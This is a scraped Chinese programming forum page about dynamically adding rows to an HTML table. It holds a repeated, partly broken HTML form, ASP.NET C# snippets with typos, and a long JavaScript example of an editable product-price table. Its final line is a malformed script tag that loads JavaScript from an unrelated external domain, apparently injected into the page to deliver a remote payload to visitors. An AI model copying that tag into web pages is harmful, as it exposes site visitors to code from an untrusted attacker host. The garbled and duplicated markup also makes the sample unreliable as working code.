<div class="ctr">
<div class="ctd1">日期:</div>
<div><input type="text" id="riqi"/></div>
<span id="errorriqi" class="error">如:第一天,第二天</span>
</div>
<div class="ctr">
<div class="ctd1">交通:</div>
<div><input type="text" id="jiaotong"/></div>
<span id="errorjiao" class="error">如:火车,汽车</span>
</div>
<div class="baocun">
<input type="button" value="是否继续添加行程"/>
</div>
<table border="1" cellpadding="0" cellspacing="0" style="margin:0 30px; width:630px; height:auto; float:left; border:1px solid #9FCCED; background-color:#F1FAFF;">
<tr style="width:630px; height:25px; text-align:center; line-height:25px;">
<td class="xtd1">日期</td>
<td class="xtd1">交通</td>
<td class="xtd2">行程内容</td>
<td class="xtd1">用餐</td>
<td class="xtd1">住宿</td>
</tr>
<tr>
绑定到这里
</tr>
</table>
<div class="ctd1">日期:</div>
<div><input type="text" id="riqi"/></div>
<span id="errorriqi" class="error">如:第一天,第二天</span>
</div>
<div class="ctr">
<div class="ctd1">交通:</div>
<div><input type="text" id="jiaotong"/></div>
<span id="errorjiao" class="error">如:火车,汽车</span>
</div>
<div class="baocun">
<input type="button" value="是否继续添加行程"/>
</div>
<table border="1" cellpadding="0" cellspacing="0" style="margin:0 30px; width:630px; height:auto; float:left; border:1px solid #9FCCED; background-color:#F1FAFF;">
<tr style="width:630px; height:25px; text-align:center; line-height:25px;">
<td class="xtd1">日期</td>
<td class="xtd1">交通</td>
<td class="xtd2">行程内容</td>
<td class="xtd1">用餐</td>
<td class="xtd1">住宿</td>
</tr>
<tr>
绑定到这里
</tr>
</table>
解决方案 »
- 简单的用户权限 有点纠结
- ckeditor中,在文本域中禁用双引号
- web.config验证问题
- 如何能自动填写网页的内容?
- 为什么取得DropDownList1的值始终只能是第一个?
- 请问button如何调用javascript,来验证textbox是否为电子信箱?
- asp.net中做饼图和柱状图的代码
- 如何设置让两台SQL SERVER连接起来?
- repeater嵌套repeater时 怎么才能让嵌套的不显示
- FileStream fs=new FileStream(filePic.PostedFile.FileName,FileMode.Open,FileAccess.Read); 出错
- excel导入sql
- 求相同用户的一条时间最早的记录
假设你的Table的ID是Table1:
TableRow tbRow = new TableRow();
TableCell tbCell = new TableCell();tbCell.text = txtInput.text;
tbRow.Cells.Add(tbCell);//添加单元格,加入后,再new一个新的Cell
这里你可以一行添加多个单元格,循环写
-------------------------------------
Table1.Rows.Add(tbRow);//添加行,加入后自动new一个新Row
也可以添加多行
-----------------------------------
txtInput.text="";//清空textBox的值
txtInput.Fouce();
你试试,思路是这样的
dt.Columns.Add(new DataColumn());
DataRow dr=dt.NewRow();
dr[]="";
dt.Rows.Add();dataView view=new DataView(dt);gridview1.datasource=view;
gridview1.databind();
完全根据你输入的数据来
我这有一个做好的表格 动态添加事件 你把它复制放入记事本中 在把后缀名给为.html代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>无标题页</title>
<script language="javascript" type="text/javascript">
function funtext(obj)
{
var money=obj.innerText;
obj.innerHTML="<input type='text' value="+money+" onblur='funblu(this);'/>" ;
}
function funblu(obj)
{
var tr=obj.parentNode;
tr.innerText=obj.value;
var tab=tr.parentNode;
var unit=tab.cells[2].innerText;//单价
var count=tab.cells[3].innerText;//数量
var convey=tab.cells[4].innerText;//运输费
if(isNaN(unit))
{
alert("请你填学正确的单价");
tab.cells[2].innerText="";
tab.cells[5].innerText="";
}
else if(isNaN(count))
{
alert("请你填学正确的数量");
tab.cells[3].innerText="";
tab.cells[5].innerText="";
}
else if(parseInt(count)==0)
{
tab.cells[5].innerText="";
}
else if(isNaN(convey))
{
alert("请你填学正确的运输费");
tab.cells[4].innerText="";
tab.cells[5].innerText="";
}
else
{
tab.cells[5].innerText=parseFloat(unit)*parseFloat(count)+parseFloat(convey);
}
sum();
}
function dele()
{
var tale=document.getElementById("ta");
var aid=parseInt(window.prompt("请你输入要删除的序号",1));
if(aid.toString()!="NaN" && aid.toString()!="0")
{
tale.deleteRow(aid);
var cou=tale.rows.length;
for(var i=1;i<cou;i++)
{
document.getElementById("ta").rows[i].childNodes[0].innerText=i;
}
sum();
xu=document.getElementById("ta").rows.length-1;
}
}
var summ=0;
function sum()
{ var cou=document.getElementById("ta").rows.length;
for(var i=1;i<cou;i++)
{
if(document.getElementById("ta").rows[i].childNodes[5].innerText.toString()!="" && document.getElementById("ta").rows[i].childNodes[5].innerText.toString()!="NaN")
{
summ+=parseFloat(document.getElementById("ta").rows[i].childNodes[5].innerText);
}
}
document.getElementById("ddv").innerText="总价格"+summ;
summ=0;
}
var xu=2;
function add()
{
xu++;
var table=document.getElementById("ta");
var rows=table.insertRow();
rows.onmousemove=function()
{
fh(rows);
}
var cou1=rows.insertCell();
cou1.innerHTML=xu;
var cou2=rows.insertCell();
cou2.innerHTML="<input type='text' onblur='funblu(this);'>";
cou2.ondblclick=function()
{
funtext(cou2);
}
var cou3=rows.insertCell();
cou3.innerHTML="<input type='text' onblur='funblu(this);'>";
cou3.ondblclick=function()
{
funtext(cou3);
}
var cou4=rows.insertCell();
cou4.innerHTML="<input type='text' onblur='funblu(this);'>";
cou4.ondblclick=function()
{
funtext(cou4);
}
var cou5=rows.insertCell();
cou5.innerHTML="<input type='text' onblur='funblu(this);'>";
cou5.ondblclick=function()
{
funtext(cou5);
}
var cou6=rows.insertCell();
cou6.innerHTML=parseFloat(cou3.innerText)*parseFloat(cou4.innerText)+parseFloat(cou5.innerText);
var cou7=rows.insertCell();
cou7.innerHTML="<input type='text' onblur='funblu(this);'>";
cou7.ondblclick=function()
{
funtext(cou7);
}
sum();
}
function fh(obj)
{
for(var i=0;i<document.getElementById("ta").rows.length;i++)
{
document.getElementById("ta").rows[i].style.backgroundColor="";
}
obj.style.backgroundColor="red";
}
function add_1()
{
var return_a=window.showModalDialog("showModalDialog.htm");
var numm=return_a.split(",");
xu++;
var table=document.getElementById("ta");
var rows=table.insertRow();
rows.onmousemove=function()
{
fh(rows);
}
var cou1=rows.insertCell();
cou1.innerHTML=xu;
var cou2=rows.insertCell();
cou2.innerHTML=numm[0];
cou2.ondblclick=function()
{
funtext(cou2);
}
var cou3=rows.insertCell();
cou3.innerHTML=numm[1];
cou3.ondblclick=function()
{
funtext(cou3);
}
var cou4=rows.insertCell();
cou4.innerHTML=numm[2];
cou4.ondblclick=function()
{
funtext(cou4);
}
var cou5=rows.insertCell();
cou5.innerHTML=numm[3];
cou5.ondblclick=function()
{
funtext(cou5);
}
var cou6=rows.insertCell();
cou6.innerHTML=parseFloat(cou3.innerText)*parseFloat(cou4.innerText)+parseFloat(cou5.innerText);
var cou7=rows.insertCell();
cou7.innerHTML=numm[4];
cou7.ondblclick=function()
{
funtext(cou7);
}
sum();
}
</script>
</head>
<body onload="sum();">
<div id="ddv"></div><br/>
<table id="ta" border="1" cellpadding="5" cellspacing="10">
<tr >
<td>序列号</td>
<td>商品名称</td>
<td>商品单价</td>
<td>商品数量</td>
<td>运费</td>
<td>商品总价</td>
<td>购物者名称</td>
</tr>
<tr onmousemove="fh(this);">
<td id="tdd">1</td>
<td ondblclick="funtext(this);">三星</td>
<td ondblclick="funtext(this);">1200</td>
<td ondblclick="funtext(this);">1</td>
<td ondblclick="funtext(this);">100</td>
<td>1300</td>
<td>郝志龙</td>
</tr>
<tr onmousemove="fh(this);">
<td>2</td>
<td ondblclick="funtext(this);">诺基亚</td>
<td ondblclick="funtext(this);">1500</td>
<td ondblclick="funtext(this);">1</td>
<td ondblclick="funtext(this);">100</td>
<td >1600</td>
<td >郝志龙</td>
</tr>
</table>
<input type="button" value="添加" onclick="add();" />
<input type="button" value="删除" onclick="dele();" />
<input type="button" value="添加" onclick="add_1();" />
</body>
</html>
<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>